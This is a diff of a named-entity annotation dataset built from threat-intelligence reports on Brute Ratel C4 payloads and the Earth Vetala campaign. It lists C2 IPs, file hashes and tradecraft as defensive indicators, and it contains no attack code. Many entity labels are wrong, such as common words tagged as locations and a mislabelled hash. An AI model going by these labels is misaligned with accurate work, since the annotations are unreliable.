-{"id":6378,"text":"Currently, 12 vendors identify the sample as malicious with eight classifying this sample as “Brutel,” further supporting that our in-memory code is somehow associated with that of Brute Ratel C4.","entities":[{"id":19783,"label":"location","start_offset":35,"end_offset":41},{"id":19785,"label":"location","start_offset":83,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":6379,"text":" Side-by-side comparison of the entry point of badger_x64.exe and our decrypted OneDrive.Update sample:","entities":[{"id":19787,"label":"location","start_offset":38,"end_offset":43},{"id":19788,"label":"location","start_offset":62,"end_offset":65},{"id":19789,"label":"location","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":6380,"text":" When badger_x64.exe is finished with the push and mov instructions, it makes the same Windows API calls as OneDrive.Update using API hashing, but does not use direct syscall (a user configuration feature of Brute Ratel C4).","entities":[{"id":19790,"label":"location","start_offset":47,"end_offset":50},{"id":19791,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":6381,"text":"Example of badger_x64.exe:","entities":[],"relations":[],"Comments":[]}
-{"id":6382,"text":" Like the OneDrive.Update sample, the parameter passed to the calling thread is the configuration data for Brute Ratel C4.","entities":[{"id":19793,"label":"location","start_offset":26,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":6383,"text":"In this sample, the data is not base64-encoded or RC4-encrypted, and is passed in the clear.","entities":[{"id":19795,"label":"location","start_offset":8,"end_offset":14},{"id":19796,"label":"location","start_offset":65,"end_offset":68},{"id":19797,"label":"location","start_offset":86,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":6384,"text":"The following is the configuration used for this sample:","entities":[{"id":19798,"label":"location","start_offset":49,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":6385,"text":" In this case, the sample is configured to communicate with IP 159.65.186[.]50 on TCP port 443.","entities":[{"id":19799,"label":"location","start_offset":9,"end_offset":13},{"id":19800,"label":"location","start_offset":19,"end_offset":25},{"id":19801,"label":"IPV4","start_offset":63,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":6386,"text":" Based on the following, we can conclude that OneDrive.Update is indeed associated with Brute Ratel C4.","entities":[{"id":19802,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":6387,"text":" The file badger_x64.exe is a standalone x64 executable that runs Brute Ratel C4 (badger payload) while the decrypted OneDrive.Update file is the in-memory component of Brute Ratel C4 that is executed using the actor's modified DLL, version.dll.","entities":[{"id":19805,"label":"location","start_offset":82,"end_offset":88}],"relations":[],"Comments":[]}
 {"id":6388,"text":" After validating that badger_x64.exe and OneDrive.Update were both BRc4 payloads, we set to work analyzing the employment of this second sample.","entities":[{"id":19807,"label":"location","start_offset":38,"end_offset":41},{"id":19808,"label":"tools","start_offset":68,"end_offset":72},{"id":19810,"label":"location","start_offset":138,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":6389,"text":" VirusTotal records revealed that the sample was uploaded by a web user in Ukraine on May 20, 2022.","entities":[{"id":19811,"label":"location","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":6390,"text":"Coincidentally, this happens to be one day after the ​​Roshan_CV.ISO file was uploaded.","entities":[],"relations":[],"Comments":[]}
 {"id":6391,"text":"As noted above, the sample was configured to call home to 159.65.186[.]50 on port 443.","entities":[{"id":19815,"label":"location","start_offset":20,"end_offset":26},{"id":19816,"label":"location","start_offset":45,"end_offset":49},{"id":19817,"label":"location","start_offset":50,"end_offset":54},{"id":19818,"label":"IPV4","start_offset":58,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":6392,"text":"Palo Alto Networks Cortex Xpanse history shows that this port was open from May 21-June 18, 2022, with the same “Microsoft Security” self-signed SSL certificate seen above.","entities":[{"id":19823,"label":"location","start_offset":107,"end_offset":111},{"id":19824,"label":"identity","start_offset":113,"end_offset":122},{"id":19825,"label":"location","start_offset":123,"end_offset":131},{"id":19826,"label":"location","start_offset":145,"end_offset":148}],"relations":[],"Comments":[]}
-{"id":6393,"text":"Given this timeline, it's worth noting that the sample was actually uploaded to VirusTotal prior to the C2 infrastructure being configured to listen for the callbacks.","entities":[{"id":19827,"label":"location","start_offset":0,"end_offset":5},{"id":19828,"label":"location","start_offset":26,"end_offset":31},{"id":19829,"label":"location","start_offset":48,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":6394,"text":"Evaluating netflow connections for 159.65.186[.]50 during this time window revealed several connections to ports 22, 443 and 8060 originating from a Ukrainian IP (213.200.56[.]105).","entities":[{"id":19831,"label":"IPV4","start_offset":35,"end_offset":50},{"id":19832,"label":"location","start_offset":63,"end_offset":67},{"id":19835,"label":"location","start_offset":121,"end_offset":124},{"id":19837,"label":"IPV4","start_offset":163,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":6395,"text":"We assess this Ukrainian address is likely a residential user IP that was leveraged to administer the C2 infrastructure.","entities":[{"id":19839,"label":"location","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":6396,"text":"A deeper look at connections in and out of 213.200.56[.]105 further revealed several flows over UDP port 33445.","entities":[{"id":19840,"label":"location","start_offset":32,"end_offset":35},{"id":19841,"label":"IPV4","start_offset":43,"end_offset":59},{"id":19842,"label":"location","start_offset":105,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":6397,"text":"This port is commonly used by Tox, a secure peer-to-peer chat and video application that offers end-to-end encryption.","entities":[{"id":19844,"label":"location","start_offset":44,"end_offset":48},{"id":19845,"label":"location","start_offset":52,"end_offset":56},{"id":19846,"label":"location","start_offset":57,"end_offset":61},{"id":19847,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
 {"id":6398,"text":" Examining additional connections to port 443 on 159.65.186[.]50, we identified several suspected victims including an Argentinian organization, an IP television provider providing North and South American content, and a major textile manufacturer in Mexico.","entities":[{"id":19849,"label":"IPV4","start_offset":49,"end_offset":64},{"id":19852,"label":"location","start_offset":206,"end_offset":213},{"id":19853,"label":"location","start_offset":215,"end_offset":218},{"id":19854,"label":"location","start_offset":221,"end_offset":226}],"relations":[],"Comments":[]}
 {"id":6399,"text":"Coincidentally, recent attempts to browse the textile manufacturer’s website result in a 500 internal server error message.","entities":[],"relations":[],"Comments":[]}
 {"id":6400,"text":" Given the geographic dispersion of these victims, the upstream connection to a Ukrainian IP and several other factors, we believe it is highly unlikely that BRc4 was deployed in support of legitimate and sanctioned penetration testing activities.","entities":[{"id":19856,"label":"location","start_offset":1,"end_offset":6},{"id":19858,"label":"location","start_offset":93,"end_offset":96},{"id":19859,"label":"tools","start_offset":158,"end_offset":162},{"id":19860,"label":"location","start_offset":201,"end_offset":204}],"relations":[],"Comments":[]}
-{"id":6401,"text":" Over the past year, the fake Microsoft Security X.509 certificate has been linked to 41 IP addresses.","entities":[{"id":19863,"label":"location","start_offset":40,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":6402,"text":"These addresses follow a global geographic dispersion and are predominantly owned by large virtual private server (VPS) hosting providers.","entities":[{"id":19865,"label":"location","start_offset":54,"end_offset":57},{"id":19866,"label":"location","start_offset":58,"end_offset":61},{"id":19867,"label":"location","start_offset":85,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":6403,"text":"Expanding our research beyond the two samples discussed above, we have also identified an additional seven samples of BRc4 dating back to February 2021.","entities":[{"id":19870,"label":"tools","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":6404,"text":" For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:  ","entities":[{"id":19873,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":6405,"text":"Threat Prevention provides protection against Brute Ratel C4.","entities":[{"id":19874,"label":"location","start_offset":27,"end_offset":37}],"relations":[],"Comments":[]}
 {"id":6406,"text":"The \"Brute Ratel C4 Tool Command and Control Traffic Detections\" signature is threat ID 86647.","entities":[],"relations":[],"Comments":[]}
-{"id":6407,"text":" Cortex XDR detects and protects endpoints from the Brute Ratel C4 tool.  WildFire cloud-based threat analysis service accurately identifies Brute Ratel C4 samples as malware.","entities":[{"id":19878,"label":"location","start_offset":20,"end_offset":23},{"id":19880,"label":"location","start_offset":67,"end_offset":71},{"id":19882,"label":"location","start_offset":83,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":6408,"text":" The emergence of a new penetration testing and adversary emulation capability is significant.","entities":[{"id":19884,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":6409,"text":"Yet more alarming is the effectiveness of BRc4 at defeating modern defensive EDR and AV detection capabilities.","entities":[{"id":19886,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":6410,"text":" Over the past 2.5 years this tool has evolved from a part-time hobby to a full-time development project with a growing customer base.","entities":[{"id":19888,"label":"location","start_offset":30,"end_offset":34},{"id":19889,"label":"location","start_offset":59,"end_offset":63},{"id":19890,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":6411,"text":"As this customer base has expanded into the hundreds, the tool has gained increased attention across the cybersecurity domain from both legitimate penetration testers as well as malicious cyber actors.","entities":[{"id":19892,"label":"location","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":6412,"text":" The analysis of the two samples described in this blog, as well as the advanced tradecraft used to package these payloads, make it clear that malicious cyber actors have begun to adopt this capability.","entities":[{"id":19894,"label":"location","start_offset":132,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":6413,"text":"We believe it is imperative that all security vendors create protections to detect BRc4 and that all organizations take proactive measures to defend against this tool.  Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.","entities":[{"id":19895,"label":"location","start_offset":37,"end_offset":45},{"id":19896,"label":"tools","start_offset":83,"end_offset":87},{"id":19897,"label":"location","start_offset":88,"end_offset":91},{"id":19898,"label":"location","start_offset":162,"end_offset":166},{"id":19900,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]}
-{"id":6414,"text":"CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.","entities":[{"id":19903,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":6415,"text":"Learn more about the Cyber Threat Alliance.","entities":[],"relations":[],"Comments":[]}
-{"id":6416,"text":"Note that the Microsoft name and logo shown are an attempt to impersonate a legitimate organization and do not represent an actual affiliation with Microsoft.","entities":[{"id":19906,"label":"location","start_offset":29,"end_offset":32},{"id":19907,"label":"location","start_offset":44,"end_offset":47},{"id":19908,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":6417,"text":"This impersonation does not imply a vulnerability in Microsoft’s products or services.  Brute Ratel C4 ISO Samples:  1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C  X64 Brute Ratel C4 Windows Kernel Module:  31ACF37D180AB9AFBCF6A4EC5D29C3E19C947641A2D9CE3CE56D71C1F576C069  APT29 ISO Samples:  F58AE9193802E9BAF17E6B59E3FDBE3E9319C5D27726D60802E3E82D30D14D46  ","entities":[{"id":19912,"label":"SHA2","start_offset":117,"end_offset":181},{"id":19914,"label":"SHA2","start_offset":226,"end_offset":290},{"id":19915,"label":"APT","start_offset":292,"end_offset":297},{"id":19916,"label":"SHA2","start_offset":312,"end_offset":376}],"relations":[],"Comments":[]}
-{"id":6418,"text":"X64 Brute Ratel C4 Samples:  3ED21A4BFCF9838E06AD3058D13D5C28026C17DC996953A22A00F0609B0DF3B9 3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE 973F573CAB683636D9A70B8891263F59E2F02201FFB4DD2E9D7ECBB1521DA03E DD8652E2DCFE3F1A72631B3A9585736FBE77FFABEE4098F6B3C48E1469BF27AA E1A9B35CF1378FDA12310F0920C5C53AD461858B3CB575697EA125DFEE829611 EF9B60AA0E4179C16A9AC441E0A21DC3A1C3DC04B100EE487EABF5C5B1F571A6 D71DC7BA8523947E08C6EEC43A726FE75AED248DFD3A7C4F6537224E9ED05F6F 5887C4646E032E015AA186C5970E8F07D3ED1DE8DBFA298BA4522C89E547419B  Malicious DLLs:  EA2876E9175410B6F6719F80EE44B9553960758C7D0F7BED73C0FE9A78D8E669  Malicious Encrypted Payloads:  B5D1D3C1AEC2F2EF06E7D0B7996BC45DF4744934BD66266A6EBB02D70E35236E  X.509 Cert SHA1s:  55684a30a47476fce5b42cbd59add4b0fbc776a3 66aab897e33b3e4d940c51eba8d07f5605d5b275  Infrastructure linked to X.509 Certs or Samples:  104.6.92[.]229 137.184.199[.]17 138.68.50[.]218 138.68.58[.]43 139.162.195[.]169 139.180.187[.]179 147.182.247[.]103 149.154.100[.]151 15.206.84[.]52 159.223.49[.]16 159.65.186[.]50 162.216.240[.]61 172.105.102[.]247 172.81.62[.]82 174.129.157[.]251 178.79.143[.]149 178.79.168[.]110 178.79.172[.]35 18.133.26[.]247 18.130.233[.]249 18.217.179[.]8 18.236.92[.]31 185.138.164[.]112 194.29.186[.]67 194.87.70[.]14 213.168.249[.]232 3.110.56[.]219 3.133.7[.]69 31.184.198[.]83 34.195.122[.]225 34.243.172[.]90 35.170.243[.]216 45.144.225[.]3 45.76.155[.]71 45.79.36[.]192 52.48.51[.]67 52.90.228[.]203 54.229.102[.]30 54.90.137[.]213 89.100.107[.]65 92.255.85[.]173 92.255.85[.]44 94.130.130[.]43 ds.windowsupdate.eu[.]org  Hunting for APT29 Spear Phishing Using XDR - Palo Alto Networks Blog Cozy Smuggled Into The Box: APT29 Abusing Legitimate Software For Targeted Operations In Europe Trello From the Other Side: Tracking APT29 Phishing Campaigns New sophisticated email-based attack from NOBELIUM  Updated July 6, 2022, at 9:30 a.m. PT.","entities":[{"id":19918,"label":"SHA2","start_offset":29,"end_offset":93},{"id":19919,"label":"SHA2","start_offset":94,"end_offset":158},{"id":19920,"label":"SHA2","start_offset":159,"end_offset":223},{"id":19921,"label":"SHA2","start_offset":224,"end_offset":288},{"id":19922,"label":"SHA2","start_offset":289,"end_offset":353},{"id":19923,"label":"SHA2","start_offset":354,"end_offset":418},{"id":19924,"label":"SHA2","start_offset":419,"end_offset":483},{"id":19925,"label":"SHA2","start_offset":484,"end_offset":548},{"id":19926,"label":"SHA2","start_offset":567,"end_offset":631},{"id":19927,"label":"SHA2","start_offset":664,"end_offset":728},{"id":19928,"label":"MD5","start_offset":749,"end_offset":789},{"id":19929,"label":"SHA1","start_offset":790,"end_offset":830},{"id":19930,"label":"IPV4","start_offset":882,"end_offset":896},{"id":19931,"label":"IPV4","start_offset":897,"end_offset":913},{"id":19932,"label":"IPV4","start_offset":914,"end_offset":929},{"id":19933,"label":"IPV4","start_offset":930,"end_offset":944},{"id":19934,"label":"IPV4","start_offset":945,"end_offset":962},{"id":19935,"label":"IPV4","start_offset":963,"end_offset":980},{"id":19936,"label":"IPV4","start_offset":981,"end_offset":998},{"id":19937,"label":"IPV4","start_offset":999,"end_offset":1016},{"id":19938,"label":"IPV4","start_offset":1017,"end_offset":1031},{"id":19939,"label":"IPV4","start_offset":1032,"end_offset":1047},{"id":19940,"label":"IPV4","start_offset":1048,"end_offset":1063},{"id":19941,"label":"IPV4","start_offset":1064,"end_offset":1080},{"id":19942,"label":"IPV4","start_offset":1081,"end_offset":1098},{"id":19943,"label":"IPV4","start_offset":1099,"end_offset":1113},{"id":19944,"label":"IPV4","start_offset":1114,"end_offset":1131},{"id":19945,"label":"IPV4","start_offset":1132,"end_offset":1148},{"id":19946,"label":"IPV4","start_offset":1149,"end_offset":1165},{"id":19947,"label":"IPV4","start_offset":1166,"end_offset":1181},{"id":19948,"label":"IPV4","start_offset":1182,"end_offset":1197},{"id":19949,"label":"IPV4","start_offset":1198,"end_offset":1214},{"id":19950,"label":"IPV4","start_offset":1215,"end_offset":1229},{"id":19951,"label":"IPV4","start_offset":1230,"end_offset":1244},{"id":19952,"label":"IPV4","start_offset":1245,"end_offset":1262},{"id":19953,"label":"IPV4","start_offset":1263,"end_offset":1278},{"id":19954,"label":"IPV4","start_offset":1279,"end_offset":1293},{"id":19955,"label":"IPV4","start_offset":1294,"end_offset":1311},{"id":19956,"label":"IPV4","start_offset":1312,"end_offset":1326},{"id":19957,"label":"IPV4","start_offset":1327,"end_offset":1339},{"id":19958,"label":"IPV4","start_offset":1340,"end_offset":1355},{"id":19959,"label":"IPV4","start_offset":1356,"end_offset":1372},{"id":19960,"label":"IPV4","start_offset":1373,"end_offset":1388},{"id":19961,"label":"IPV4","start_offset":1389,"end_offset":1405},{"id":19962,"label":"IPV4","start_offset":1406,"end_offset":1420},{"id":19963,"label":"IPV4","start_offset":1421,"end_offset":1435},{"id":19964,"label":"IPV4","start_offset":1436,"end_offset":1450},{"id":19965,"label":"IPV4","start_offset":1451,"end_offset":1464},{"id":19966,"label":"IPV4","start_offset":1465,"end_offset":1480},{"id":19967,"label":"IPV4","start_offset":1481,"end_offset":1496},{"id":19968,"label":"IPV4","start_offset":1497,"end_offset":1512},{"id":19969,"label":"IPV4","start_offset":1513,"end_offset":1528},{"id":19970,"label":"IPV4","start_offset":1529,"end_offset":1544},{"id":19971,"label":"IPV4","start_offset":1545,"end_offset":1559},{"id":19972,"label":"IPV4","start_offset":1560,"end_offset":1575},{"id":19974,"label":"location","start_offset":1603,"end_offset":1610},{"id":19975,"label":"APT","start_offset":1615,"end_offset":1620},{"id":19976,"label":"attack-pattern","start_offset":1621,"end_offset":1635},{"id":19977,"label":"identity","start_offset":1648,"end_offset":1666},{"id":19978,"label":"threat-actor","start_offset":1700,"end_offset":1705},{"id":19979,"label":"location","start_offset":1761,"end_offset":1767},{"id":19980,"label":"APT","start_offset":1805,"end_offset":1810},{"id":19981,"label":"attack-pattern","start_offset":1811,"end_offset":1819},{"id":19984,"label":"TIME","start_offset":1907,"end_offset":1919}],"relations":[],"Comments":[]}
-{"id":6419,"text":"  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":19985,"label":"location","start_offset":64,"end_offset":67},{"id":19986,"label":"location","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":6420,"text":" Please mark, I'm not a robot!","entities":[{"id":19987,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":6421,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":19988,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":6422,"text":"Trend Micro researchers recently detected activity targeting various organizations in the Middle East and neighboring regions.","entities":[{"id":19991,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":6423,"text":"We were tipped off to this activity in part by research from Anomali, which also identified a campaign targeting similar victims.","entities":[{"id":19993,"label":"location","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]}
+{"id":6417,"text":"This impersonation does not imply a vulnerability in Microsoft’s products or services.  Brute Ratel C4 ISO Samples:  1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C  X64 Brute Ratel C4 Windows Kernel Module:  31ACF37D180AB9AFBCF6A4EC5D29C3E19C947641A2D9CE3CE56D71C1F576C069  APT29 ISO Samples:  F58AE9193802E9BAF17E6B59E3FDBE3E9319C5D27726D60802E3E82D30D14D46  ","entities":[{"id":19912,"label":"SHA2","start_offset":117,"end_offset":181},{"id":19914,"label":"SHA2","start_offset":226,"end_offset":290},{"id":19915,"label":"threat-actor","start_offset":292,"end_offset":297},{"id":19916,"label":"SHA2","start_offset":312,"end_offset":376}],"relations":[],"Comments":[]}
+{"id":6418,"text":"X64 Brute Ratel C4 Samples:  3ED21A4BFCF9838E06AD3058D13D5C28026C17DC996953A22A00F0609B0DF3B9 3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE 973F573CAB683636D9A70B8891263F59E2F02201FFB4DD2E9D7ECBB1521DA03E DD8652E2DCFE3F1A72631B3A9585736FBE77FFABEE4098F6B3C48E1469BF27AA E1A9B35CF1378FDA12310F0920C5C53AD461858B3CB575697EA125DFEE829611 EF9B60AA0E4179C16A9AC441E0A21DC3A1C3DC04B100EE487EABF5C5B1F571A6 D71DC7BA8523947E08C6EEC43A726FE75AED248DFD3A7C4F6537224E9ED05F6F 5887C4646E032E015AA186C5970E8F07D3ED1DE8DBFA298BA4522C89E547419B  Malicious DLLs:  EA2876E9175410B6F6719F80EE44B9553960758C7D0F7BED73C0FE9A78D8E669  Malicious Encrypted Payloads:  B5D1D3C1AEC2F2EF06E7D0B7996BC45DF4744934BD66266A6EBB02D70E35236E  X.509 Cert SHA1s:  55684a30a47476fce5b42cbd59add4b0fbc776a3 66aab897e33b3e4d940c51eba8d07f5605d5b275  Infrastructure linked to X.509 Certs or Samples:  104.6.92[.]229 137.184.199[.]17 138.68.50[.]218 138.68.58[.]43 139.162.195[.]169 139.180.187[.]179 147.182.247[.]103 149.154.100[.]151 15.206.84[.]52 159.223.49[.]16 159.65.186[.]50 162.216.240[.]61 172.105.102[.]247 172.81.62[.]82 174.129.157[.]251 178.79.143[.]149 178.79.168[.]110 178.79.172[.]35 18.133.26[.]247 18.130.233[.]249 18.217.179[.]8 18.236.92[.]31 185.138.164[.]112 194.29.186[.]67 194.87.70[.]14 213.168.249[.]232 3.110.56[.]219 3.133.7[.]69 31.184.198[.]83 34.195.122[.]225 34.243.172[.]90 35.170.243[.]216 45.144.225[.]3 45.76.155[.]71 45.79.36[.]192 52.48.51[.]67 52.90.228[.]203 54.229.102[.]30 54.90.137[.]213 89.100.107[.]65 92.255.85[.]173 92.255.85[.]44 94.130.130[.]43 ds.windowsupdate.eu[.]org  Hunting for APT29 Spear Phishing Using XDR - Palo Alto Networks Blog Cozy Smuggled Into The Box: APT29 Abusing Legitimate Software For Targeted Operations In Europe Trello From the Other Side: Tracking APT29 Phishing Campaigns New sophisticated email-based attack from NOBELIUM  Updated July 6, 2022, at 9:30 a.m. PT.","entities":[{"id":19918,"label":"SHA2","start_offset":29,"end_offset":93},{"id":19919,"label":"SHA2","start_offset":94,"end_offset":158},{"id":19920,"label":"SHA2","start_offset":159,"end_offset":223},{"id":19921,"label":"SHA2","start_offset":224,"end_offset":288},{"id":19922,"label":"SHA2","start_offset":289,"end_offset":353},{"id":19923,"label":"SHA2","start_offset":354,"end_offset":418},{"id":19924,"label":"SHA2","start_offset":419,"end_offset":483},{"id":19925,"label":"SHA2","start_offset":484,"end_offset":548},{"id":19926,"label":"SHA2","start_offset":567,"end_offset":631},{"id":19927,"label":"SHA2","start_offset":664,"end_offset":728},{"id":19928,"label":"MD5","start_offset":749,"end_offset":789},{"id":19929,"label":"SHA1","start_offset":790,"end_offset":830},{"id":19930,"label":"IPV4","start_offset":882,"end_offset":896},{"id":19931,"label":"IPV4","start_offset":897,"end_offset":913},{"id":19932,"label":"IPV4","start_offset":914,"end_offset":929},{"id":19933,"label":"IPV4","start_offset":930,"end_offset":944},{"id":19934,"label":"IPV4","start_offset":945,"end_offset":962},{"id":19935,"label":"IPV4","start_offset":963,"end_offset":980},{"id":19936,"label":"IPV4","start_offset":981,"end_offset":998},{"id":19937,"label":"IPV4","start_offset":999,"end_offset":1016},{"id":19938,"label":"IPV4","start_offset":1017,"end_offset":1031},{"id":19939,"label":"IPV4","start_offset":1032,"end_offset":1047},{"id":19940,"label":"IPV4","start_offset":1048,"end_offset":1063},{"id":19941,"label":"IPV4","start_offset":1064,"end_offset":1080},{"id":19942,"label":"IPV4","start_offset":1081,"end_offset":1098},{"id":19943,"label":"IPV4","start_offset":1099,"end_offset":1113},{"id":19944,"label":"IPV4","start_offset":1114,"end_offset":1131},{"id":19945,"label":"IPV4","start_offset":1132,"end_offset":1148},{"id":19946,"label":"IPV4","start_offset":1149,"end_offset":1165},{"id":19947,"label":"IPV4","start_offset":1166,"end_offset":1181},{"id":19948,"label":"IPV4","start_offset":1182,"end_offset":1197},{"id":19949,"label":"IPV4","start_offset":1198,"end_offset":1214},{"id":19950,"label":"IPV4","start_offset":1215,"end_offset":1229},{"id":19951,"label":"IPV4","start_offset":1230,"end_offset":1244},{"id":19952,"label":"IPV4","start_offset":1245,"end_offset":1262},{"id":19953,"label":"IPV4","start_offset":1263,"end_offset":1278},{"id":19954,"label":"IPV4","start_offset":1279,"end_offset":1293},{"id":19955,"label":"IPV4","start_offset":1294,"end_offset":1311},{"id":19956,"label":"IPV4","start_offset":1312,"end_offset":1326},{"id":19957,"label":"IPV4","start_offset":1327,"end_offset":1339},{"id":19958,"label":"IPV4","start_offset":1340,"end_offset":1355},{"id":19959,"label":"IPV4","start_offset":1356,"end_offset":1372},{"id":19960,"label":"IPV4","start_offset":1373,"end_offset":1388},{"id":19961,"label":"IPV4","start_offset":1389,"end_offset":1405},{"id":19962,"label":"IPV4","start_offset":1406,"end_offset":1420},{"id":19963,"label":"IPV4","start_offset":1421,"end_offset":1435},{"id":19964,"label":"IPV4","start_offset":1436,"end_offset":1450},{"id":19965,"label":"IPV4","start_offset":1451,"end_offset":1464},{"id":19966,"label":"IPV4","start_offset":1465,"end_offset":1480},{"id":19967,"label":"IPV4","start_offset":1481,"end_offset":1496},{"id":19968,"label":"IPV4","start_offset":1497,"end_offset":1512},{"id":19969,"label":"IPV4","start_offset":1513,"end_offset":1528},{"id":19970,"label":"IPV4","start_offset":1529,"end_offset":1544},{"id":19971,"label":"IPV4","start_offset":1545,"end_offset":1559},{"id":19972,"label":"IPV4","start_offset":1560,"end_offset":1575},{"id":19974,"label":"location","start_offset":1603,"end_offset":1610},{"id":19975,"label":"threat-actor","start_offset":1615,"end_offset":1620},{"id":19976,"label":"attack-pattern","start_offset":1621,"end_offset":1635},{"id":19977,"label":"identity","start_offset":1648,"end_offset":1666},{"id":19978,"label":"threat-actor","start_offset":1700,"end_offset":1705},{"id":19979,"label":"location","start_offset":1761,"end_offset":1767},{"id":19980,"label":"threat-actor","start_offset":1805,"end_offset":1810},{"id":19981,"label":"attack-pattern","start_offset":1811,"end_offset":1819},{"id":19984,"label":"TIME","start_offset":1907,"end_offset":1919}],"relations":[],"Comments":[]}
 {"id":6424,"text":"We believe (with moderate confidence) that this newly identified activity is connected to MuddyWater (also known as TEMP.Zagros, Static Kitten, Seedworm).","entities":[{"id":19994,"label":"location","start_offset":26,"end_offset":36},{"id":19995,"label":"threat-actor","start_offset":90,"end_offset":100},{"id":19996,"label":"threat-actor","start_offset":116,"end_offset":127},{"id":19997,"label":"threat-actor","start_offset":129,"end_offset":142},{"id":19998,"label":"threat-actor","start_offset":144,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":6425,"text":"Additionally, we were able to link the Anomali-identified activity to an ongoing campaign in 2021.","entities":[{"id":20000,"label":"location","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":6426,"text":"This campaign uses the following legitimate remote admin tools such as:  ScreenConnect RemoteUtilities  We have named this intrusion set Earth Vetala.","entities":[{"id":20002,"label":"location","start_offset":5,"end_offset":13},{"id":20003,"label":"location","start_offset":44,"end_offset":50},{"id":20004,"label":"malware","start_offset":73,"end_offset":86},{"id":20005,"label":"malware","start_offset":87,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":6427,"text":"Earth Vetala used spearphishing emails with embedded links to a legitimate file-sharing service to distribute their malicious package.","entities":[],"relations":[],"Comments":[]}
-{"id":6428,"text":"The links were embedded within lure documents as well as emails.","entities":[{"id":20008,"label":"location","start_offset":31,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":6429,"text":"Once a victim was accessed, attackers would determine if the user account was an administrator or normal user.","entities":[{"id":20009,"label":"location","start_offset":98,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":6430,"text":"They would then download post-exploitation tools that included password\/process-dumping utilities, reverse-tunneling tools, and custom backdoors.","entities":[{"id":20010,"label":"location","start_offset":25,"end_offset":29},{"id":20011,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
 {"id":6431,"text":"The threat actors would then initiate communications with additional command-and-control (C&C) infrastructure to execute obfuscated PowerShell scripts.","entities":[{"id":20012,"label":"location","start_offset":77,"end_offset":80},{"id":20013,"label":"attack-pattern","start_offset":132,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":6432,"text":"Overview Analysis indicates the Earth Vetala campaign is ongoing and that this threat actor has interests which appear to align with Iran.","entities":[{"id":20015,"label":"location","start_offset":45,"end_offset":53},{"id":20016,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":6433,"text":"Earth Vetala historically targets countries in the Middle East.","entities":[],"relations":[],"Comments":[]}
-{"id":6434,"text":"In this campaign, Earth Vetala threat actors used spearphishing emails and lure documents against organizations within the United Arab Emirates, Saudi Arabia, Israel, and Azerbaijan.","entities":[{"id":20020,"label":"location","start_offset":8,"end_offset":16},{"id":20022,"label":"location","start_offset":71,"end_offset":74},{"id":20023,"label":"location","start_offset":75,"end_offset":79},{"id":20027,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
 {"id":6435,"text":"The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool.","entities":[{"id":20029,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":20030,"label":"location","start_offset":20,"end_offset":23},{"id":20031,"label":"location","start_offset":24,"end_offset":28},{"id":20033,"label":"location","start_offset":158,"end_offset":164},{"id":20034,"label":"location","start_offset":179,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":6436,"text":"ScreenConnect is a legitimate application that allows systems administrators to manage their enterprise systems remotely.","entities":[{"id":20036,"label":"location","start_offset":80,"end_offset":86},{"id":20037,"label":"location","start_offset":93,"end_offset":103}],"relations":[],"Comments":[]}
